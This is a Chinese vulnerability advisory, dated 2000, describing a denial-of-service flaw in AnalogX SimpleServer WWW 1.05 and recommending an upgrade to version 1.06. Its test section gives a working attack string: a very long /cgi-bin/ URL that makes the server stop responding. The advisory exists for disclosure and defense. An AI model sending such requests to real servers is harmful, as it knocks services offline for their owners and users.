首页 -> 安全研究

安全研究

安全漏洞
AnalogX SimpleServer WWW 1.05 拒绝服务攻击漏洞

发布日期:2000-06-16
更新日期:2000-06-16

受影响系统:

AnalogX SimpleServer:WWW 1.0.5
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
描述:

如果发送一个很长的链接请求给SimpleServer WWW 1.05的80端口。将使服务进程
停止响应。必须重新启动服务才能恢复正常工作。

<* 来源:USSR Advisory Code:   USSR-2000045 <labs@ussrback.com>
         http://www.ussrback.com
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

提交这样的链接请求,将导致服务停止响应:

http://serverip/cgi-bin/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa



建议:

升级到1.06版本,您可以从下列地址下载:

http://www.analogx.com/files/sswwwi.exe


浏览次数:6365
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障